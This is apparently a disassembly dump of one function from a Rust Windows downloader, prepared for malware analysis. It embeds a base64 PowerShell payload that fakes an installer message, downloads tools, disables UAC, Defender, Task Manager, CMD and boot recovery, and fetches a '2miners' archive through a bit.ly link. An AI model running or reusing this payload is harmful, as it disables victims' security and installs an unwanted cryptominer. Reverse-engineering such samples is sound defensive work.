Function at 0x140009270
Capabilities:
Check mutex on windows
Create http request
Read data from internet
Receive data

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
mov eax, 0x16d8
call fcn.1400bcec0
sub rsp, rax
lea rbp, [rsp + 0x80]
movaps xmmword [rbp + 0x1640], xmm6
mov qword [rbp + 0x1638], 0xfffffffffffffffe
call fcn.140001cb0
lea rdx, str.Midnight
lea rsi, [rbp + 0x1270]
mov r8d, 8
mov rcx, rsi
call fcn.14004e0f0
movabs r14, 0x8000000000000000
cmp qword [rbp + 0x1270], r14
jne 0x14000a5a0
mov r8, qword [rbp + 0x1278]
mov rax, qword [rbp + 0x1280]
mov qword [rbp + 0x1628], rax
xor ecx, ecx
mov edx, 1
mov qword [rbp + 0x1630], r8
call sub.KERNEL32.dll_CreateMutexA
mov rdi, rax
test rax, rax
je 0x140009327
call sub.KERNEL32.dll_GetLastError
cmp eax, 0xb7
jne 0x14000934f
mov ebx, 1
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x140009351
mov rcx, qword [rbp + 0x1630]
mov byte [rcx], 0
mov rdx, qword [rbp + 0x1628]
test rdx, rdx
je 0x14000a42d
lea rdi, str.Failed_to_create_or_open_mutex.RustWinapiDownloader
mov ebx, 0x1f
jmp 0x140009369
xor ebx, ebx
mov rcx, qword [rbp + 0x1630]
mov byte [rcx], 0
xor edi, edi
mov rdx, qword [rbp + 0x1628]
test rdx, rdx
je 0x140009374
mov r8d, 1
call fcn.140016900
test rbx, rbx
jne 0x14000a42d
test rdi, rdi
jne 0x14000a42d
lea rcx, [rbp - 0x50]
call fcn.140031630
mov rax, qword [rbp - 0x50]
cmp rax, r14
jne 0x140009400
mov rax, qword [rbp - 0x48]
mov qword [rbp + 0xfb0], rax
lea rax, [rbp + 0xfb0]
mov qword [rbp + 0x1270], rax
lea rax, case.0x140031a9b.114
mov qword [rbp + 0x1278], rax
lea rax, str.Failed_to_get_executable_path:
mov qword [rbp - 0x50], rax
mov qword [rbp - 0x48], 2
mov qword [rbp - 0x30], 0
mov qword [rbp - 0x40], rsi
mov qword [rbp - 0x38], 1
lea rcx, [rbp - 0x50]
call fcn.140033780
lea rcx, [rbp + 0xfb0]
call fcn.140001030
jmp 0x14000a42d
mov qword [rbp + 0x1630], rax
mov rdx, qword [rbp - 0x48]
mov r8, qword [rbp - 0x40]
lea rcx, [rbp - 0x50]
mov qword [rbp + 0x1628], rdx
call fcn.14003c690
mov rsi, qword [rbp - 0x50]
cmp rsi, r14
jne 0x140009471
mov rbx, qword [rbp - 0x48]
mov rsi, qword [rbp - 0x40]
test rsi, rsi
je 0x140009ede
js 0x14000a832
movzx eax, byte [0x140108f61]
mov edx, 1
mov rcx, rsi
call fcn.1400168f0
mov rdi, rax
test rax, rax
jne 0x140009ee3
mov ecx, 1
mov rdx, rsi
call fcn.1400bf820
jmp 0x14000a8a4
mov rdi, qword [rbp - 0x48]
mov rbx, qword [rbp - 0x40]
mov rdx, qword [rbp + 0x1630]
test rdx, rdx
je 0x140009497
mov r8d, 1
mov rcx, qword [rbp + 0x1628]
call fcn.140016900
mov qword [rbp + 0x1588], rsi
mov qword [rbp + 0x1590], rdi
mov qword [rbp + 0x1598], rbx
lea rax, [rbp + 0x1588]
mov qword [rbp + 0xfb0], rax
lea rax, [0x140001c50]
mov qword [rbp + 0xfb8], rax
lea rax, str._____1_
mov qword [rbp - 0x50], rax
mov qword [rbp - 0x48], 2
mov qword [rbp - 0x30], 0
lea rdi, [rbp + 0xfb0]
mov qword [rbp - 0x40], rdi
mov qword [rbp - 0x38], 1
lea rsi, [rbp + 0x1270]
lea rdx, [rbp - 0x50]
mov rcx, rsi
call fcn.14004e4c0
mov rax, qword [rbp + 0x1270]
mov qword [rbp + 0x15a0], rax
mov r8, qword [rbp + 0x1278]
mov r9, qword [rbp + 0x1280]
lea rcx, str.exefileFailed_to_set_shell_open_command:__n
mov edx, 7
mov qword [rbp + 0x15c8], r8
call fcn.140005410
test rax, rax
je 0x1400095d7
mov qword [rbp + 0xfb0], rax
mov qword [rbp + 0xfb8], rdx
mov qword [rbp + 0x1270], rdi
lea rax, [0x140015d00]
mov qword [rbp + 0x1278], rax
lea rax, str.O_f_
mov qword [rbp - 0x50], rax
mov qword [rbp - 0x48], 2
mov qword [rbp - 0x30], 0
mov qword [rbp - 0x40], rsi
mov qword [rbp - 0x38], 1
lea rcx, [rbp - 0x50]
call fcn.140033780
mov rcx, qword [rbp + 0xfb0]
mov rax, qword [rbp + 0xfb8]
mov qword [rbp + 0x1628], rcx
mov qword [rbp + 0x1630], rax
call qword [rax]
mov rax, qword [rbp + 0x1630]
mov rdx, qword [rax + 8]
test rdx, rdx
je 0x1400095d7
mov r8, qword [rax + 0x10]
mov rcx, qword [rbp + 0x1628]
call fcn.140016900
call fcn.140016940
cmp rax, 2
jb 0x14000a5e3
call fcn.140001d80
call fcn.140002590
call fcn.140004c50
call fcn.140003a20
call fcn.140004240
call fcn.140003690
call fcn.1400045e0
call fcn.140002860
test al, al
jne 0x14000a5f2
call fcn.140002de0
test al, al
jne 0x14000a601
call fcn.140004e40
lea rdx, [0x1400c53fa]
lea rcx, [rbp - 0x50]
mov r8d, 0xa
call fcn.14003e3a0
lea rdx, [rbp - 0x50]
mov r8d, 0xc8
mov rcx, rsi
call sub.VCRUNTIME140.dll_memcpy
lea rdx, [0x1400c5426]
mov r8d, 0xa
mov rcx, rsi
call fcn.14003e4a0
lea rdx, [0x1400c5404]
lea rcx, [rbp + 0x1270]
mov r8d, 0x10
call fcn.14003e4a0
lea rdx, [0x1400c5414]
lea rcx, [rbp + 0x1270]
mov r8d, 6
call fcn.14003e4a0
lea rdx, [0x1400c541a]
lea rcx, [rbp + 0x1270]
mov r8d, 8
call fcn.14003e4a0
lea rdx, [0x1400c5422]
lea rcx, [rbp + 0x1270]
mov r8d, 4
call fcn.14003e4a0
lea rdx, str._n________QWRkLVR5cGUgLUFzc2VtYmx5TmFtZSBQcmVzZW50YXRpb25GcmFtZXdvcmsNCiAgICAgICAgW1N5c3RlbS5XaW5kb3dzLk1lc3NhZ2VCb3hdOjpTaG93KCdQbGVhc2UgV2FpdCBXaGlsZSB3ZSBpbnN0YWxsIG5lY2Vzc2FyeSBwYWNrYWdlcyBmb3IgWW91IS4gV2luZG93IHdpbGwgYmUgY2xvc2VkIGFmdGVyIEluc3RhbGxhdGlvbiEhIScpDQogICAgICAgIFdyaXRlLUhvc3QgIkluc3RhbGxpbmcgTmVjZXNzYXJ5IFBhY2thZ2VzLi4uLi5QbGVhc2UgV2FpdC4uLi4uIiAtRm9yZWdyb3VuZENvbG9yIEdyZWVuDQogICAgICAgICAgICAjIERvd25sb2FkIGZpbGUNCiRkZXN0aW5hdGlvbiA9ICJDOlxOYW5hLnppcCINCmJpdHNhZG1pbiAvdHJhbnNmZXIgRXhwbG9yZXJzIC9kb3dubG9hZCAvcHJpb3JpdHkgRk9SRUdST1VORCBodHRwOi8vZ2l0aHViLmNvbS9NMlRlYW0vTmFuYVJ1bi9yZWxlYXNlcy9kb3dubG9hZC8xLjAuMTguMC9OYW5hUnVuXzEuMF9QcmV2aWV3Ml8xLjAuMTguMC56aXAgQzpcTmFuYS56aXANCiMgRXh0cmFjdCBhcmNoaXZlDQpFeHBhbmQtQXJjaGl2ZSAtUGF0aCAkZGVzdGluYXRpb24gLURlc3RpbmF0aW9uUGF0aCAiQzpcIg0KY2QgQzpceDY0DQpzZXQgcG9wPSVzeXN0ZW1yb290JQ0KLlxNaW5zdWRvLmV4ZSAtLXN5c3RlbSAtLXByaXZpbGVnZWQgLS1ub2xvZ28gaWNhY2xzICIlcG9wJVxTeXN0ZW0zMlxzbWFydHNjcmVlbi5leGUiIC9pbmhlcml0YW5jZTpyIC9yZW1vdmUgKlMtMS01LTMyLTU0NCAqUy0xLTUtMTEgKlMtMS01LTMyLTU0NSAqUy0xLTUtMTgNCi5cTWluc3Vkby5leGUgLS1zeXN0ZW0gLS1wcml2aWxlZ2VkIC0tbm9sb2dvIHJlZyBhZGQgIkhLTE1cU29mdHdhcmVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUG9saWNpZXNcU3lzdGVtIiAvdiAiQ29uc2VudFByb21wdEJlaGF2aW9yQWRtaW4iIC90IFJFR19EV09SRCAvZCAiMCIgL2YNCi5cTWluc3Vkby5leGUgLS1zeXN0ZW0gLS1wcml2aWxlZ2VkIC0tbm9sb2dvIHJlZyBhZGQgIkhLTE1cU29mdHdhcmVcUG9saWNpZXNcTWljcm9zb2Z0XFdpbmRvd3MgRGVmZW5kZXJcVVggQ29uZmlndXJhdGlvbiIgL3YgIk5vdGlmaWNhdGlvbl9TdXBwcmVzcyIgL3QgUkVHX0RXT1JEIC9kICIxIiAvZg0KLlxNaW5zdWRvLmV4ZSAtLXN5c3RlbSAtLXByaXZpbGVnZWQgLS1ub2xvZ28gcmVnIGFkZCAiSEtDVVxTb2Z0d2FyZVxNaWNyb3NvZnRcV2luZG93c1xDdXJyZW50VmVyc2lvblxQb2xpY2llc1xTeXN0ZW0iIC92ICJEaXNhYmxlVGFza01nciIgL3QgUkVHX0RXT1JEIC9kICIxIiAvZg0KLlxNaW5zdWRvLmV4ZSAtLXN5c3RlbSAtLXByaXZpbGVnZWQgLS1ub2xvZ28gcmVnIGFkZCAiSEtDVVxTb2Z0d2FyZVxNaWNyb3NvZnRcV2luZG93c1xDdXJyZW50VmVyc2lvblxQb2xpY2llc1xTeXN0ZW0iIC92ICJEaXNhYmxlQ01EIiAvdCBSRUdfRFdPUkQgL2QgIjEiIC9mDQouXE1pbnN1ZG8uZXhlIC0tc3lzdGVtIC0tcHJpdmlsZWdlZCAtLW5vbG9nbyByZWcgYWRkICJIS0NVXFNvZnR3YXJlXE1pY3Jvc29mdFxXaW5kb3dzXEN1cnJlbnRWZXJzaW9uXFBvbGljaWVzXFN5c3RlbSIgL3YgIkRpc2FibGVSZWdpc3RyeVRvb2xzIiAvdCBSRUdfRFdPUkQgL2QgIjEiIC9mDQouXE1pbnN1ZG8uZXhlIC0tc3lzdGVtIC0tcHJpdmlsZWdlZCAtLW5vbG9nbyByZWcgYWRkICJIS0NVXFNvZnR3YXJlXE1pY3Jvc29mdFxXaW5kb3dzXEN1cnJlbnRWZXJzaW9uXFBvbGljaWVzXEV4cGxvcmVyIiAvdiAiTm9SdW4iIC90IFJFR19EV09SRCAvZCAiMSIgL2YNCi5cTWluc3Vkby5leGUgLS1zeXN0ZW0gLS1wcml2aWxlZ2VkIC0tbm9sb2dvIHNjIHN0b3Agd2luZGVmZW5kIA0KLlxNaW5zdWRvLmV4ZSAtLXN5c3RlbSAtLXByaXZpbGVnZWQgLS1ub2xvZ28gc2MgZGVsZXRlIHdpbmRlZmVuZCANCi5cTWluc3Vkby5leGUgLS1zeXN0ZW0gLS1wcml2aWxlZ2VkIC0tbm9sb2dvIEFkZC1NcFByZWZlcmVuY2UgLUV4Y2x1c2lvbkV4dGVuc2lvbiAiLnBzMSINCi5cTWluc3Vkby5leGUgLS1zeXN0ZW0gLS1wcml2aWxlZ2VkIC0tbm9sb2dvIHBvd2Vyc2hlbGwuZXhlIGJjZGVkaXQgL3NldCB7ZGVmYXVsdH0gcmVjb3ZlcnllbmFibGVkIE5vDQouXE1pbnN1ZG8uZXhlIC0tc3lzdGVtIC0tcHJpdmlsZWdlZCAtLW5vbG9nbyBwb3dlcnNoZWxsLmV4ZSBiY2RlZGl0IC9zZXQge2RlZmF1bHR9IGJvb3RzdGF0dXNwb2xpY3kgaWdub3JlYWxsZmFpbHVyZXMNCi5cTWluc3Vkby5leGUgLS1zeXN0ZW0gLS1wcml2aWxlZ2VkIC0tbm9sb2dvIEFkZC1NcFByZWZlcmVuY2UgLUV4Y2x1c2lvblBhdGggIiVVU0VSUFJPRklMRSVcQXBwRGF0YVxSb2FtaW5nXE1pY3Jvc29mdFxXaW5kb3dzXFN0YXJ0IE1lbnVcUHJvZ3JhbXNcU3RhcnR1cCINCi5cTWluc3Vkby5leGUgLS1zeXN0ZW0gLS1wcml2aWxlZ2VkIC0tbm9sb2dvIE5ldy1JdGVtUHJvcGVydHkgLVBhdGggSEtMTTpTb2Z0d2FyZVxNaWNyb3NvZnRcV2luZG93c1xDdXJyZW50VmVyc2lvblxwb2xpY2llc1xzeXN0ZW0gLU5hbWUgRW5hYmxlTFVBIC1Qcm9wZXJ0eVR5cGUgRFdvcmQgLVZhbHVlIDAgLUZvcmNlDQouXE1pbnN1ZG8uZXhlIC0tc3lzdGVtIC0tcHJpdmlsZWdlZCAtLW5vbG9nbyBTZXQtTXBQcmVmZXJlbmNlIC1FbmFibGVDb250cm9sbGVkRm9sZGVyQWNjZXNzIERpc2FibGVkDQouXE1pbnN1ZG8uZXhlIC0tc3lzdGVtIC0tcHJpdmlsZWdlZCAtLW5vbG9nbyBTZXQtTXBQcmVmZXJlbmNlIC1QVUFQcm90ZWN0aW9uIGRpc2FibGUNCi5cTWluc3Vkby5leGUgLS1zeXN0ZW0gLS1wcml2aWxlZ2VkIC0tbm9sb2dvIFNldC1NcFByZWZlcmVuY2UgLUhpZ2hUaHJlYXREZWZhdWx0QWN0aW9uIDYgLUZvcmNlDQouXE1pbnN1ZG8uZXhlIC0tc3lzdGVtIC0tcHJpdmlsZWdlZCAtLW5vbG9nbyBTZXQtTXBQcmVmZXJlbmNlIC1Nb2RlcmF0ZVRocmVhdERlZmF1bHRBY3Rpb24gNg0KLlxNaW5zdWRvLmV4ZSAtLXN5c3RlbSAtLXByaXZpbGVnZWQgLS1ub2xvZ28gU2V0LU1wUHJlZmVyZW5jZSAtTG93VGhyZWF0RGVmYXVsdEFjdGlvbiA2DQouXE1pbnN1ZG8uZXhlIC0tc3lzdGVtIC0tcHJpdmlsZWdlZCAtLW
lea rcx, [rbp + 0x1270]
mov r8d, 0x2962
call fcn.14003e4a0
lea rcx, [rbp - 0x50]
lea rdx, [rbp + 0x1270]
call fcn.140036e90
cmp dword [rbp - 0x50], 2
je 0x14000a610
movups xmm0, xmmword [rbp - 0x50]
movups xmm1, xmmword [rbp - 0x40]
movups xmm2, xmmword [rbp - 0x30]
movups xmm3, xmmword [rbp - 0x20]
movaps xmmword [rbp + 0xfe0], xmm3
movaps xmmword [rbp + 0xfd0], xmm2
movaps xmmword [rbp + 0xfc0], xmm1
movaps xmmword [rbp + 0xfb0], xmm0
lea rcx, [rbp + 0xfb0]
call fcn.1400085b0
lea rcx, [rbp + 0x1270]
call fcn.1400086f0
lea rdx, [0x1400c5727]
lea rcx, [rbp + 0x1270]
mov r8d, 0x14
call fcn.14004e0f0
cmp qword [rbp + 0x1270], r14
jne 0x14000a64b
mov rcx, qword [rbp + 0x1278]
mov rax, qword [rbp + 0x1280]
mov qword [rbp + 0x15b0], rax
mov dword [rsp + 0x20], 0
mov qword [rbp + 0x15a8], rcx
mov edx, 1
xor r8d, r8d
xor r9d, r9d
call sub.WININET.dll_InternetOpenA
mov rdi, rax
lea rdx, [0x1400c5497]
mov r8d, 0x1d
mov rcx, rsi
call fcn.14004e0f0
cmp qword [rbp + 0x1270], r14
jne 0x14000a68e
mov rdx, qword [rbp + 0x1278]
mov rax, qword [rbp + 0x1280]
mov qword [rbp + 0x15c0], rax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov qword [rbp + 0x1548], rdi
mov rcx, rdi
mov qword [rbp + 0x15b8], rdx
xor r8d, r8d
xor r9d, r9d
call sub.WININET.dll_InternetOpenUrlA
mov rbx, rax
test rax, rax
je 0x14000a6d1
lea rsi, [rbp - 0x50]
mov r8d, 0x1000
mov rcx, rsi
xor edx, edx
call sub.VCRUNTIME140.dll_memset
mov dword [rbp + 0x15d0], 0
mov dword [rbp + 0x1270], 0
xorps xmm0, xmm0
movups xmmword [rbp + 0x1278], xmm0
mov dword [rbp + 0x1288], 7
mov qword [rbp + 0x128c], 0
mov word [rbp + 0x1294], 0
mov byte [rbp + 0x1291], 1
mov byte [rbp + 0x1294], 1
mov byte [rbp + 0x1293], 1
lea rdx, str.C:WindowsHelpdata.zipC:WindowsHelp2minershttps:__bit.ly_2miners_githubSuccessfully_extracted_the_ZIP_file._n
lea rcx, [rbp + 0x1270]
mov r8d, 0x18
call fcn.1400319f0
test rax, rax
jne 0x14000a734
mov qword [rbp + 0x15f0], rdx
lea rdi, [rbp + 0x1270]
lea r12, [rbp + 0x15f0]
lea r15, [0x1400c58ac]
mov rcx, rbx
mov rdx, rsi
mov r8d, 0x1000
lea r9, [rbp + 0x15d0]
call sub.WININET.dll_InternetReadFile
test eax, eax
je 0x14000a50b
mov r13d, dword [rbp + 0x15d0]
test r13, r13
je 0x1400099e9
cmp r13d, 0x1000
ja 0x14000a587
mov r14, rsi
jmp 0x140009915
test r13, r13
je 0x1400098b0
mov rcx, rdi
mov rdx, r12
mov r8, r14
mov r9, r13
call fcn.140031950
cmp qword [rbp + 0x1270], 0
je case.default.0x140009943
mov rax, qword [rbp + 0x1278]
mov ecx, eax
and ecx, 3
movsxd rcx, dword [r15 + rcx*4]
add rcx, r15
jmp rcx
cmp byte [rax + 0x10], 0x23
je 0x140009910
jmp 0x14000a4c0
mov rcx, qword [rbp + 0x1278]
test rcx, rcx
je 0x14000a4b9
mov rax, r13
sub rax, rcx
jb 0x14000a4f7
add r14, rcx
mov r13, rax
jmp 0x140009910
mov rcx, rbx
call sub.WININET.dll_InternetCloseHandle
mov rcx, qword [rbp + 0x1548]
call sub.WININET.dll_InternetCloseHandle
mov rcx, qword [rbp + 0x15f0]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0x15b8]
mov byte [rcx], 0
mov rdx, qword [rbp + 0x15c0]
test rdx, rdx
je 0x140009a2b
mov r8d, 1
call fcn.140016900
mov rcx, qword [rbp + 0x15a8]
mov byte [rcx], 0
mov rdx, qword [rbp + 0x15b0]
test rdx, rdx
je 0x140009a4c
mov r8d, 1
call fcn.140016900
mov dword [rbp - 0x50], 0
xorps xmm0, xmm0
movups xmmword [rbp - 0x48], xmm0
mov dword [rbp - 0x38], 7
mov qword [rbp - 0x34], 0
mov word [rbp - 0x2c], 0
mov byte [rbp - 0x30], 1
lea rdx, str.C:WindowsHelpdata.zipC:WindowsHelp2minershttps:__bit.ly_2miners_githubSuccessfully_extracted_the_ZIP_file._n
lea rcx, [rbp - 0x50]
mov r8d, 0x18
call fcn.1400319f0
mov rsi, rdx
test rax, rax
je 0x140009ac6
mov qword [rbp - 0x50], rsi
movzx eax, byte [0x140108f61]
mov ecx, 8
mov edx, 8
call fcn.1400168f0
test rax, rax
je 0x14000a808
mov rbx, rax
mov qword [rax], rsi
lea rsi, fcn.140001030
jmp 0x14000a1c8
lea rcx, [rbp - 0x50]
mov rdx, rsi
call fcn.14000ecb0
mov rsi, qword [rbp - 0x50]
mov rax, qword [rbp - 0x48]
mov rcx, qword [rbp - 0x40]
cmp rsi, 4
jne 0x140009f09
mov qword [rbp + 0x1618], rax
mov qword [rbp + 0x1620], rcx
mov rax, qword [rax + 0x20]
mov qword [rbp + 0x1610], rax
xor r12d, r12d
lea r15, [rbp + 0x1270]
xorps xmm6, xmm6
nop
cmp r12, qword [rbp + 0x1610]
jae 0x140009f52
lea rcx, [rbp - 0x50]
lea rdx, [rbp + 0x1618]
mov r8, r12
xor r9d, r9d
call fcn.14000eab0
mov rsi, qword [rbp - 0x50]
lea rax, [rbp - 0x48]
movups xmm0, xmmword [rax]
movaps xmmword [rbp + 0x15f0], xmm0
mov rax, qword [rax + 0x10]
mov qword [rbp + 0x1600], rax
cmp rsi, 7
je 0x140009f81
mov r8d, 0x2b8
lea rbx, [rbp + 0xfb0]
mov rcx, rbx
lea rdx, [rbp - 0x30]
call sub.VCRUNTIME140.dll_memcpy
cmp esi, 6
je 0x14000a7db
mov rax, qword [rbp + 0x1600]
mov qword [rbp + 0x15e0], rax
movaps xmm0, xmmword [rbp + 0x15f0]
movaps xmmword [rbp + 0x15d0], xmm0
mov r8d, 0x2b8
lea rcx, [rbp + 0x1290]
mov rdx, rbx
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rbp + 0x15e0]
mov qword [rbp + 0x1580], rax
movaps xmm0, xmmword [rbp + 0x15d0]
movaps xmmword [rbp + 0x1570], xmm0
lea rcx, [rbp + 0x1278]
mov qword [rcx + 0x10], rax
movups xmmword [rcx], xmm0
mov qword [rbp + 0x1270], rsi
mov rcx, r15
call fcn.140017cc0
mov rsi, rax
mov rbx, rdx
test rdx, rdx
je 0x140009c18
test rbx, rbx
js 0x14000a82b
movzx eax, byte [0x140108f61]
mov edx, 1
mov rcx, rbx
call fcn.1400168f0
test rax, rax
jne 0x140009c1d
jmp 0x14000a81c
mov eax, 1
mov qword [rbp + 0x1628], rax
mov rcx, rax
mov rdx, rsi
mov qword [rbp + 0x1630], rbx
mov r8, rbx
call sub.VCRUNTIME140.dll_memcpy
mov rcx, r15
call fcn.140008410
lea rax, [0x1400c5490]
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x28], 7
lea rcx, [rbp - 0x50]
lea rdx, [rbp + 0x1618]
mov r8, qword [rbp + 0x1628]
mov r9, qword [rbp + 0x1630]
call fcn.14000e940
mov rax, qword [rbp - 0x50]
cmp rax, 6
je 0x140009fe8
cmp eax, 7
je 0x140009ff9
mov r8d, 0x2d8
mov rcx, r15
lea rdx, [rbp - 0x50]
call sub.VCRUNTIME140.dll_memcpy
mov rcx, r15
call fcn.140017cc0
mov qword [rsp + 0x20], rdx
mov r8d, 0x10
lea rcx, [rbp + 0x15f0]
lea rdx, [0x1400c5480]
mov r9, rax
call fcn.140036d20
mov rcx, r15
call fcn.140017d00
test al, al
je 0x140009d01
mov byte [rbp - 0x50], 1
mov rsi, qword [rbp + 0x15f8]
mov r8, qword [rbp + 0x1600]
lea rcx, [rbp - 0x50]
mov rdx, rsi
call fcn.140031a10
mov r14, rax
test rax, rax
je 0x140009e92
jmp 0x14000a04f
mov rsi, qword [rbp + 0x15f8]
mov r14, qword [rbp + 0x1600]
mov rcx, rsi
mov rdx, r14
call fcn.1400365e0
mov r13, rax
test rax, rax
je 0x140009dc2
mov rbx, rdx
lea rcx, [rbp - 0x50]
mov rdx, r13
mov r8, rbx
call fcn.14003af40
cmp dword [rbp - 0x50], 2
jne 0x140009d56
mov rax, qword [rbp - 0x48]
mov qword [rbp + 0xfb8], rax
mov qword [rbp + 0xfb0], 2
jmp 0x140009d97
movups xmm0, xmmword [rbp - 0x50]
movups xmm1, xmmword [rbp - 0x40]
movups xmm2, xmmword [rbp - 0x30]
movups xmm3, xmmword [rbp - 0x20]
movaps xmmword [rbp + 0xfb0], xmm0
mov rax, qword [rbp - 0x10]
mov qword [rbp + 0xff0], rax
movaps xmmword [rbp + 0xfe0], xmm3
movaps xmmword [rbp + 0xfd0], xmm2
movaps xmmword [rbp + 0xfc0], xmm1
cmp qword [rbp + 0xfb0], 2
jne 0x140009dc2
lea rcx, [rbp + 0xfb8]
call fcn.140001030
mov byte [rbp - 0x50], 1
lea rcx, [rbp - 0x50]
mov rdx, r13
mov r8, rbx
call fcn.140031a10
mov r13, rax
test rax, rax
jne 0x14000a47b
mov dword [rbp - 0x50], 0
lea rax, [rbp - 0x48]
movups xmmword [rax], xmm6
mov dword [rbp - 0x38], 7
mov word [rax + 0x1c], 0
mov qword [rax + 0x14], 0
mov byte [rbp - 0x2f], 1
mov word [rbp - 0x2d], 0x101
lea rcx, [rbp - 0x50]
mov rdx, rsi
mov r8, r14
call fcn.1400319f0
mov r14, rdx
test rax, rax
jne 0x14000a082
mov qword [rbp + 0x15d0], r14
mov qword [rbp - 0x50], 0
mov qword [rbp - 0x48], 1
mov qword [rbp - 0x40], 0
lea rcx, [rbp + 0xfb0]
mov rdx, r15
lea r8, [rbp - 0x50]
xor r9d, r9d
call fcn.1400125f0
cmp qword [rbp + 0xfb0], 0
jne 0x14000a0c0
mov rdx, qword [rbp - 0x48]
mov r8, qword [rbp - 0x40]
lea rcx, [rbp + 0x15d0]
call fcn.14000ca80
mov r14, rax
test rax, rax
jne 0x14000a0fd
mov rdx, qword [rbp - 0x50]
test rdx, rdx
je 0x140009e85
mov rcx, qword [rbp - 0x48]
mov r8d, 1
call fcn.140016900
mov rcx, qword [rbp + 0x15d0]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rdx, qword [rbp + 0x15f0]
test rdx, rdx
je 0x140009eac
mov r8d, 1
mov rcx, rsi
call fcn.140016900
mov rcx, r15
call fcn.140008410
inc r12
mov rdx, qword [rbp + 0x1630]
test rdx, rdx
je 0x140009b10
mov r8d, 1
mov rcx, qword [rbp + 0x1628]
call fcn.140016900
jmp 0x140009b10
mov edi, 1
mov rcx, rdi
mov rdx, rbx
mov r8, rsi
call sub.VCRUNTIME140.dll_memcpy
mov rbx, rsi
mov rdx, qword [rbp + 0x1630]
test rdx, rdx
jne 0x140009485
jmp 0x140009497
mov qword [rbp - 0x50], rsi
mov qword [rbp - 0x48], rax
mov qword [rbp - 0x40], rcx
movzx eax, byte [0x140108f61]
mov ecx, 0x18
mov edx, 8
call fcn.1400168f0
test rax, rax
je 0x14000a839
mov rbx, rax
mov rax, qword [rbp - 0x40]
mov qword [rbx + 0x10], rax
movups xmm0, xmmword [rbp - 0x50]
movups xmmword [rbx], xmm0
lea rsi, [0x1400c29a8]
jmp 0x14000a1c8
mov rcx, qword [rbp + 0x1620]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rax, qword [rbp + 0x1618]
lock dec qword [rax]
jne 0x14000a448
lea rcx, [rbp + 0x1618]
call fcn.140016590
jmp 0x14000a448
mov rax, qword [rbp + 0x1600]
movaps xmm0, xmmword [rbp + 0x15f0]
movaps xmmword [rbp + 0x1570], xmm0
mov qword [rbp + 0x1580], rax
mov qword [rbp - 0x40], rax
movaps xmmword [rbp - 0x50], xmm0
movzx eax, byte [0x140108f61]
mov ecx, 0x18
mov edx, 8
call fcn.1400168f0
test rax, rax
je 0x14000a851
mov rbx, rax
mov rax, qword [rbp + 0x1580]
mov qword [rbx + 0x10], rax
movaps xmm0, xmmword [rbp + 0x1570]
movups xmmword [rbx], xmm0
lea rsi, [0x1400c29a8]
jmp 0x14000a199
mov ebx, 1
lea rsi, [0x1400c2930]
jmp 0x14000a17b
mov rax, qword [rbp - 0x38]
mov qword [rbp + 0x1560], rax
movups xmm0, xmmword [rbp - 0x48]
movaps xmmword [rbp + 0x1550], xmm0
movzx eax, byte [0x140108f61]
mov ecx, 0x18
mov edx, 8
call fcn.1400168f0
test rax, rax
je 0x14000a862
mov rbx, rax
lea rcx, [rbp - 0x48]
mov rax, qword [rcx + 0x10]
mov qword [rbx + 0x10], rax
movups xmm0, xmmword [rcx]
movups xmmword [rbx], xmm0
lea rsi, [0x1400c29a8]
jmp 0x14000a17b
mov qword [rbp - 0x50], r14
movzx eax, byte [0x140108f61]
mov ecx, 8
mov edx, 8
call fcn.1400168f0
test rax, rax
jne 0x14000a0a5
mov ecx, 8
mov edx, 8
call fcn.1400bf820
jmp 0x14000a8a4
mov qword [rbp - 0x50], r14
movzx eax, byte [0x140108f61]
mov ecx, 8
mov edx, 8
call fcn.1400168f0
test rax, rax
je 0x14000a873
mov rbx, rax
mov qword [rax], r14
mov rdx, qword [rbp + 0x15f0]
test rdx, rdx
jne 0x14000a15a
jmp 0x14000a168
mov r14, qword [rbp + 0xfb8]
mov qword [rbp + 0xfb0], r14
movzx eax, byte [0x140108f61]
mov ecx, 8
mov edx, 8
call fcn.1400168f0
test rax, rax
jne 0x14000a123
mov ecx, 8
mov edx, 8
call fcn.1400bf820
jmp 0x14000a8a4
mov qword [rbp + 0xfb0], r14
movzx eax, byte [0x140108f61]
mov ecx, 8
mov edx, 8
call fcn.1400168f0
test rax, rax
je 0x14000a884
mov rbx, rax
mov qword [rax], r14
mov rdx, qword [rbp - 0x50]
test rdx, rdx
je 0x14000a141
mov rcx, qword [rbp - 0x48]
mov r8d, 1
call fcn.140016900
mov rcx, qword [rbp + 0x15d0]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rdx, qword [rbp + 0x15f0]
test rdx, rdx
je 0x14000a168
mov r8d, 1
mov rcx, rsi
call fcn.140016900
lea rcx, [rbp + 0x1270]
call fcn.140008410
lea rsi, fcn.140001030
mov rdx, qword [rbp + 0x1630]
test rdx, rdx
je 0x14000a199
mov r8d, 1
mov rcx, qword [rbp + 0x1628]
call fcn.140016900
mov rcx, qword [rbp + 0x1620]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rax, qword [rbp + 0x1618]
lock dec qword [rax]
jne 0x14000a1bf
lea rcx, [rbp + 0x1618]
call fcn.140016590
test rbx, rbx
je 0x14000a448
mov qword [rbp + 0xfb0], rbx
mov qword [rbp + 0xfb8], rsi
lea rax, [rbp + 0xfb0]
mov qword [rbp + 0x1270], rax
lea rax, [0x140015d00]
mov qword [rbp + 0x1278], rax
lea rax, str.Error_extracting_the_ZIP_file:
mov qword [rbp - 0x50], rax
mov qword [rbp - 0x48], 2
mov qword [rbp - 0x30], 0
mov qword [rbp - 0x40], rdi
mov qword [rbp - 0x38], 1
lea rcx, [rbp - 0x50]
call fcn.140033780
mov rcx, qword [rbp + 0xfb0]
mov rax, qword [rbp + 0xfb8]
mov qword [rbp + 0x1628], rcx
mov qword [rbp + 0x1630], rax
call qword [rax]
mov rax, qword [rbp + 0x1630]
mov rdx, qword [rax + 8]
test rdx, rdx
je 0x14000a260
mov r8, qword [rax + 0x10]
mov rcx, qword [rbp + 0x1628]
call fcn.140016900
mov dword [rbp - 0x50], 0
xorps xmm0, xmm0
